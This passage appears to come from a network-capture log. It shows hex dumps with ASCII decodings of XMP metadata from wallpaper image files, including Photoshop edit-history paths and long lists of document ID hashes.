61 70 61 72 6f 61 4e 50 4e 65 77 5a 65 6c 61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 30 38 30 78 31 
39 32 30 37 42 39 34 38 34 42 38 34 44 41 37 41 44 38 38 41 35 32 45 38 36 42 44 35 42 39 38 31 39 30 38 2e 70 73 62 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 36 3a 31 36 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 
69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 
45 4e 5c 52 65 70 6c 61 63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 
Data Ascii: p CC 2017\AutoRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1080x19207B9484B84D
A7AD88A52E86BD5B981908.psb saved&#xA;2017-12-04T13:26:16-08:00&#x9;File C:\Users\v-lizagh\MS\Windows
10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock201

2022-05-26 11:46:49 UTC 3480 IN Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 
69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 70 6f 74 6c 69 67 68 74 46 59 
31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 32 31 32 34 31 30 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 35 3a 31 32 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 
69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 70 
6f 74 6c 69 67 68 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 
Data Ascii: s\v-lizagh\MS\Windows10\Office\Spotlight_FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImages-1221241
05_1080x1920.psd saved&#xA;2017-12-14T15:12:56-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_
FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImag

2022-05-26 11:46:49 UTC 3631 IN Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 
6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 
43 72 6f 70 73 5c 4d 49 54 2d 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 
38 31 34 34 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 
32 34 54 31 36 3a 30 35 3a 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 56 61 6c 65 6e 74 
69 6e 65 73 44 61 79 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 
Data Ascii: ile C:\Users\v-lizagh\MS\Windows10\MomentsInTime\ValentinesDay\2018\CHOSEN\Crops\MIT-Val
entinesDay_GettyImages-504814454_1080x1920.jpg saved&#xA;2018-01-24T16:05:09-08:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\MomentsInTime\ValentinesDay\2018\CHOSEN\Crop

Timestamp
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2022-05-26 11:46:49 UTC 3687 IN Data Raw: 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 
33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 31 54 31 38 3a 31 36 3a 
34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 
32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 38 3
a 33 31 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 
32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 
Data Ascii: 20_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-02-21T18:16:45-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved&#xA;2018-02-26T08:31:12-
08:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened

2022-05-26 11:46:49 UTC 3735 IN Data Raw: 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 
35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 
30 33 2d 30 39 54 31 32 3a 31 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 42 61 74 63 68 3
3 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 65 73 74 6f 63 6b 5f 32 30 30 31 2d 33 39 34 39 30 37 2d 30 31 5f 
31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 39 54 31 32 3a 31 
36 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
Data Ascii: reen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-03-09T12:15:37-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\Batch3\CHOSEN\Crops\MMX_estock_2001-394907-
01_1080x1920.jpg saved&#xA;2018-03-09T12:16:14-08:00&#x9;File C:

2022-05-26 11:46:49 UTC 3838 IN Data Raw: 38 31 37 38 36 30 44 38 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 45 43 35 38 45 30 
39 38 46 37 31 45 34 43 39 34 46 30 33 43 39 38 35 32 33 43 41 43 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 33 45 44 37 31 32 43 30 38 34 45 46 36 42 30 42 39 35 30 32 46 30 30 43 38 45 42 46 42 45 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 46 37 41 41 46 35 41 34 33 44 38 44 31 33 34 33 37 34 44 32 41 31 36 
32 44 34 39 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 46 42 44 39 43 42 43 43 37 42 33 45 
32 44 34 38 30 43 34 43 46 38 41 31 34 33 32 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 30 
32 35 33 39 33 43 36 42 32 35 30 41 31 36 39 38 41 39 35 45 31 37 38 43 
Data Ascii: 817860D8B6</rdf:li> <rdf:li>03EC58E098F71E4C94F03C98523CAC91</rdf:li> <rdf:li>03ED712C08
4EF6B0B9502F00C8EBFBEA</rdf:li> <rdf:li>03F7AAF5A43D8D134374D2A162D49A2B</rdf:li> <rdf:li>03FBD9CBCC
7B3E2D480C4CF8A14325F3</rdf:li> <rdf:li>04025393C6B250A1698A95E178C

2022-05-26 11:46:49 UTC 3918 IN Data Raw: 32 39 35 43 38 41 37 33 44 35 34 39 33 43 32 36 36 30 46 32 45 32 35 32 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 31 31 31 35 37 46 41 31 38 43 37 37 33 42 43 46 33 46 44 45 44 39 42 46 32 45 43 46 46 44 37 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 31 42 45 42 41 36 35 44 44 32 36 37 33 38 36 37 39 37 
41 42 39 41 35 31 35 42 37 45 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 32 45 34 32 32 45 43 3
1 45 39 37 35 44 39 32 43 31 35 32 31 38 46 33 41 35 43 36 44 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 31 31 35 32 35 35 30 30 32 32 43 44 41 31 43 33 31 39 46 30 42 33 45 41 35 44 30 34 32 45 45 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 31 35 36 32 45 36 39 41 44 34 
Data Ascii: 295C8A73D5493C2660F2E252D5</rdf:li> <rdf:li>11157FA18C773BCF3FDED9BF2ECFFD70</rdf:li> <r
df:li>111BEBA65DD267386797AB9A515B7E4D</rdf:li> <rdf:li>112E422EC1E975D92C15218F3A5C6D66</rdf:li> <r
df:li>1152550022CDA1C319F0B3EA5D042EE3</rdf:li> <rdf:li>11562E69AD4

2022-05-26 11:46:49 UTC 4005 IN Data Raw: 33 30 38 44 41 30 33 32 37 36 41 39 44 43 30 33 46 31 46 34 41 38 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 37 37 42 43 30 45 42 39 39 34 34 33 43 44 44 32 43 38 38 39 41 34 37 37 32 35 36 46 41 39 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 43 38 32 36 43 43 42 38 34 39 32 39 42 39 42 37 34 34 33 
33 30 32 33 36 41 39 33 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 38 34 33 42 35 33 46 41 37 3
6 36 35 35 35 43 42 38 36 46 37 30 44 37 42 37 38 38 45 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
37 38 39 45 35 39 37 32 44 36 44 32 46 32 36 32 45 37 31 43 44 32 43 43 30 39 37 34 39 43 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 37 39 42 45 45 41 37 45 32 34 46 30 
Data Ascii: 308DA03276A9DC03F1F4A81C</rdf:li> <rdf:li>177BC0EB99443CDD2C889A477256FA9C</rdf:li> <rdf
:li>177C826CCB84929B9B744330236A9352</rdf:li> <rdf:li>17843B53FA766555CB86F70D7B788E01</rdf:li> <rdf
:li>1789E5972D6D2F262E71CD2CC09749C5</rdf:li> <rdf:li>179BEEA7E24F0

2022-05-26 11:46:49 UTC 4093 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 32 35 41 42 38 31 46 35 41 45 36 30 38 46 36 46 37 35 44 42 33 33 30 34 35 43 30 
42 43 46 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 42 33 46 30 36 46 37 36 42 41 32 31 30 44 
43 45 30 31 46 46 41 35 35 41 31 34 30 35 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 42 35 34 4
4 38 30 45 31 41 34 38 39 39 35 31 36 42 45 32 46 39 31 45 46 31 30 36 31 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 35 44 31 43 30 32 34 36 33 42 30 37 31 34 45 42 37 35 36 34 39 34 44 32 36 31 35 32 44 32 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 35 44 34 33 39 41 36 34 34 42 42 37 39 44 35 41 44 37 46 39 30 
43 41 37 41 37 42 45 32 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>25AB81F5AE608F6F75DB33045C0BCF49</rdf:li> <rdf:li>25B3F06F76BA210DCE01FFA55A1405
90</rdf:li> <rdf:li>25B54D80E1A4899516BE2F91EF1061F6</rdf:li> <rdf:li>25D1C02463B0714EB756494D26152D
26</rdf:li> <rdf:li>25D439A644BB79D5AD7F90CA7A7BE2CF</rdf:li> <rdf:

2022-05-26 11:46:49 UTC 4109 IN Data Raw: 6c 69 3e 33 31 41 33 43 43 44 31 45 33 41 34 30 36 31 35 31 43 33 46 32 34 46 37 44 37 46 43 34 44 43 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 43 30 46 36 45 35 46 39 38 37 42 44 45 30 41 36 42 33 44 
39 42 33 33 36 46 43 37 43 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 43 36 46 36 30 30 46 42 3
5 45 45 30 36 32 30 36 31 44 42 34 31 42 34 34 39 35 42 41 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
33 31 43 44 31 39 41 36 38 37 33 35 35 35 41 39 42 36 39 45 46 33 41 33 36 42 41 43 46 43 34 38 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 31 39 41 37 37 42 30 43 37 31 31 33 41 42 45 30 34 39 32 30 36 34 38 36 36 36 
38 32 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 
Data Ascii: li>31A3CCD1E3A406151C3F24F7D7FC4DCC</rdf:li> <rdf:li>31C0F6E5F987BDE0A6B3D9B336FC7C7B</r
df:li> <rdf:li>31C6F600FB5EE062061DB41B4495BAC9</rdf:li> <rdf:li>31CD19A6873555A9B69EF3A36BACFC48</rdf:li> 
<rdf:li>3219A77B0C7113ABE0492064866682B7</rdf:li> <rdf:li>32

2022-05-26 11:46:49 UTC 4196 IN Data Raw: 3e 33 38 38 38 45 34 32 43 41 37 42 33 42 45 30 34 34 44 34 45 41 33 41 46 46 30 32 31 34 36 37 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 42 36 36 31 36 30 39 44 43 31 31 38 39 37 30 39 32 39 32 35 
39 32 42 44 46 31 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 38 46 30 39 46 33 34 46 33 30 3
0 45 45 42 33 35 32 44 30 33 43 42 38 44 41 34 45 43 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 
39 39 34 39 39 35 30 43 43 37 37 32 32 38 38 44 36 43 37 30 38 33 34 46 37 30 45 39 44 37 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 38 42 30 39 46 35 41 36 34 32 43 41 43 39 36 34 30 31 45 42 35 46 39 34 34 38 43 30 38 
38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 38 42 32 
Data Ascii: >3888E42CA7B3BE044D4EA3AFF021467C</rdf:li> <rdf:li>388B661609DC1189709292592BDF161B</rdf:li> 
<rdf:li>388F09F34F300EEB352D03CB8DA4ECD8</rdf:li> <rdf:li>389949950CC772288D6C70834F70E9D7</rdf:li> <rdf:
li>38B09F5A642CAC96401EB5F9448C0883</rdf:li> <rdf:li>38B2
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2022-05-26 11:46:49 UTC 4228 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 41 30 36 31 38 30 36 38 45 34 37 35 38 36 32 30 35 
30 42 31 44 34 34 33 31 42 34 44 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 41 30 46 34 37 43 
35 35 43 32 32 43 44 43 31 46 43 45 33 38 37 32 42 33 35 30 31 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 34 35 41 42 39 33 30 33 38 37 35 35 35 37 46 35 43 46 35 32 31 34 44 43 33 31 39 35 30 45 39 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 37 30 33 45 46 41 44 33 45 38 39 33 34 42 39 44 43 34 39 42 35 45 
45 41 32 46 45 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 38 45 39 30 42 34 35 35 46 31 30 
45 36 35 38 36 34 44 42 41 33 46 38 43 30 45 31 46 38 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>45A0618068E475862050B1D4431B4D47</rdf:li> <rdf:li>45A0F47C55C22CDC1FCE3
872B3501003</rdf:li> <rdf:li>45AB9303875557F5CF5214DC31950E96</rdf:li> <rdf:li>45C703EFAD3E8934B9DC4
9B5EEA2FE05</rdf:li> <rdf:li>45C8E90B455F10E65864DBA3F8C0E1F8</rdf:

2022-05-26 11:46:49 UTC 4300 IN Data Raw: 36 36 46 39 45 35 30 46 32 36 42 42 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 41 
32 31 39 32 37 45 38 45 46 30 38 35 37 33 36 42 30 41 33 34 32 35 46 36 33 35 41 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 35 32 41 43 35 43 39 30 33 42 42 30 36 42 32 42 36 45 35 41 43 39 41 39 36 35 45 43 30 42 37 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 41 44 46 36 39 43 43 37 45 37 39 42 41 39 30 44 42 41 3
6 34 34 30 31 36 39 43 32 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 32 42 32 33 34 34 42 44 37 
30 45 30 44 36 46 35 42 41 34 38 30 38 33 44 37 39 30 38 38 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 35 32 42 36 32 43 30 41 37 46 35 30 39 31 36 38 45 36 31 46 34 37 
Data Ascii: 66F9E50F26BB7F5</rdf:li> <rdf:li>52A21927E8EF085736B0A3425F635A85</rdf:li> <rdf:li>52AC5
C903BB06B2B6E5AC9A965EC0B76</rdf:li> <rdf:li>52ADF69CC7E79BA90DBA6440169C2CB3</rdf:li> <rdf:li>52B23
44BD70E0D6F5BA48083D79088BF</rdf:li> <rdf:li>52B62C0A7F509168E61F47

2022-05-26 11:46:49 UTC 4331 IN Data Raw: 34 42 45 31 35 30 39 43 33 31 30 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 38 44 35 
42 39 46 33 34 41 45 46 46 43 35 33 43 34 35 35 30 44 31 41 30 38 46 42 32 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 39 39 31 37 39 35 46 45 45 32 45 41 30 35 31 44 44 33 45 37 46 37 36 46 43 44 38 33 44 34 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 37 32 30 31 36 39 35 39 43 37 38 33 46 34 43 39 34 45 43 
36 43 32 33 30 30 45 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 39 39 39 32 33 35 38 34 35 37 
32 35 36 42 31 44 43 31 46 46 34 34 32 38 33 33 43 35 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 39 39 43 37 32 30 32 45 39 46 30 42 42 34 46 32 39 36 46 45 42 44 37 
Data Ascii: 4BE1509C310D5</rdf:li> <rdf:li>598D5B9F34AEFFC53C4550D1A08FB2F9</rdf:li> <rdf:li>5991795
FEE2EA051DD3E7F76FCD83D48</rdf:li> <rdf:li>59972016959C783F4C94EC6C2300E5FF</rdf:li> <rdf:li>5999235
8457256B1DC1FF442833C5392</rdf:li> <rdf:li>599C7202E9F0BB4F296FEBD7

2022-05-26 11:46:49 UTC 4355 IN Data Raw: 41 36 33 30 31 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 45 42 37 38 39 46 41 33 
37 45 39 36 30 44 44 39 36 38 30 46 41 34 42 42 31 31 38 32 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 37 45 43 33 33 36 33 34 34 45 31 38 31 41 30 31 42 35 36 41 44 34 39 37 45 41 35 46 36 46 34 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 46 42 44 41 39 33 33 36 34 37 35 33 36 39 37 32 39 43 45 32 36 34 36 36 42 
34 34 43 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 30 34 32 41 43 38 33 36 41 43 41 31 37 45 
45 33 44 42 30 39 33 42 32 41 43 42 37 38 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 34 32 45 
33 38 35 31 39 31 33 44 46 45 30 45 34 34 31 46 33 43 37 35 41 37 39 34 
Data Ascii: A63017DF</rdf:li> <rdf:li>67EB789FA37E960DD9680FA4BB118234</rdf:li> <rdf:li>67EC336344E1
81A01B56AD497EA5F6F4</rdf:li> <rdf:li>67FBDA9336475369729CE26466B44C50</rdf:li> <rdf:li>68042AC836AC
A17EE3DB093B2ACB78A9</rdf:li> <rdf:li>6842E3851913DFE0E441F3C75A794

2022-05-26 11:46:49 UTC 4427 IN Data Raw: 41 30 43 33 42 45 46 38 39 32 35 33 35 44 44 37 38 37 38 44 36 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 36 33 32 36 38 30 42 34 42 39 36 39 39 38 44 31 33 35 33 31 33 36 42 33 44 38 44 45 39 31 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 33 33 42 43 34 31 31 30 32 32 45 37 37 41 44 31 39 33 35 43 
42 30 41 44 32 31 38 31 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 34 33 45 32 37 41 46 42 30 4
5 30 45 33 36 45 38 46 46 45 34 43 39 31 36 42 46 34 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 
36 34 43 46 33 46 36 44 45 34 39 44 36 38 35 36 45 44 31 32 36 35 30 45 33 32 43 36 44 35 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 37 36 35 30 38 38 42 30 35 42 45 41 38 
Data Ascii: A0C3BEF892535DD7878D6CD9</rdf:li> <rdf:li>7632680B4B96998D1353136B3D8DE91C</rdf:li> <rdf
:li>7633BC411022E77AD1935CB0AD21814D</rdf:li> <rdf:li>7643E27AFB0E0E36E8FFE4C916BF4483</rdf:li> <rdf
:li>764CF3F6DE49D6856ED12650E32C6D56</rdf:li> <rdf:li>765088B05BEA8

2022-05-26 11:46:49 UTC 4467 IN Data Raw: 34 34 45 43 32 39 43 34 33 31 44 42 34 39 42 44 30 31 38 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 37 44 30 42 36 30 36 35 39 34 30 38 46 30 45 38 39 41 36 42 35 37 33 38 46 33 36 30 42 30 39 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 30 45 42 30 31 32 32 45 33 34 33 31 41 30 30 34 35 32 37 36 35 37 
39 41 34 46 38 30 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 31 42 46 45 34 34 35 35 32 42 46 3
6 36 43 31 37 37 37 33 31 34 46 42 43 36 43 43 43 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 32 
45 35 33 35 42 45 46 43 36 34 45 30 34 41 43 45 42 37 45 34 36 34 46 30 44 41 42 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 37 44 34 32 45 34 30 32 32 38 34 44 35 31 34 
Data Ascii: 44EC29C431DB49BD018845</rdf:li> <rdf:li>7D0B60659408F0E89A6B5738F360B098</rdf:li> <rdf:l
i>7D0EB0122E3431A0045276579A4F80AB</rdf:li> <rdf:li>7D1BFE44552BF66C1777314FBC6CCCDB</rdf:li> <rdf:l
i>7D2E535BEFC64E04ACEB7E464F0DAB89</rdf:li> <rdf:li>7D42E402284D514

2022-05-26 11:46:49 UTC 4515 IN Data Raw: 64 66 3a 6c 69 3e 38 39 36 37 45 31 35 45 31 31 32 45 35 41 41 32 33 35 31 34 37 34 32 30 33 33 43 45 45 
32 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 30 44 35 35 37 32 39 43 34 39 39 37 42 38 45 
42 39 33 33 31 42 38 33 33 45 43 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 37 34 30 30 4
6 41 43 44 38 32 35 33 36 37 44 44 37 41 34 32 34 33 46 32 35 43 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 38 39 37 41 45 30 34 46 39 38 33 45 46 42 33 34 46 45 45 39 30 30 30 39 42 34 34 44 31 38 45 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 37 44 36 45 39 38 30 32 39 34 35 31 30 39 45 42 43 39 31 37 38 39 42 
37 33 43 36 32 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>8967E15E112E5AA23514742033CEE296</rdf:li> <rdf:li>8970D55729C4997B8EB9331B833EC907
</rdf:li> <rdf:li>8977400FACD825367DD7A4243F25C986</rdf:li> <rdf:li>897AE04F983EFB34FEE90009B44D18E9
</rdf:li> <rdf:li>897D6E9802945109EBC91789B73C6237</rdf:li> <rdf:li

2022-05-26 11:46:49 UTC 4546 IN Data Raw: 35 42 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 41 43 31 34 42 44 41 35 39 37 37 
31 32 33 43 31 36 42 32 39 38 32 31 30 38 33 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 
44 42 37 33 41 30 32 44 33 32 38 43 39 44 34 38 41 33 35 45 36 38 37 42 34 44 33 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 38 33 43 31 36 44 31 45 41 36 43 36 45 34 41 33 37 42 45 30 32 39 46 34 35 30 36 46 37 41 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 34 41 35 39 32 46 38 42 34 30 37 43 45 35 41 45 32 44 
37 37 33 32 45 41 32 37 43 43 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 34 46 32 43 44 44 34 
39 36 31 42 35 32 38 30 44 33 35 36 36 44 31 42 34 32 34 35 44 34 37 3c 
Data Ascii: 5B75</rdf:li> <rdf:li>981AC14BDA5977123C16B2982108306D</rdf:li> <rdf:li>981DB73A02D328C9
D48A35E687B4D33E</rdf:li> <rdf:li>983C16D1EA6C6E4A37BE029F4506F7A0</rdf:li> <rdf:li>984A592F8B407CE5
AE2D7732EA27CCE1</rdf:li> <rdf:li>984F2CDD4961B5280D3566D1B4245D47<
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2022-05-26 11:46:49 UTC 4554 IN Data Raw: 45 33 30 39 34 39 44 36 46 31 31 35 45 44 41 43 39 30 35 42 37 38 44 44 32 42 34 36 36 31 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 42 35 37 33 39 41 44 38 36 39 31 42 44 45 37 33 41 35 45 37 41 33 37 
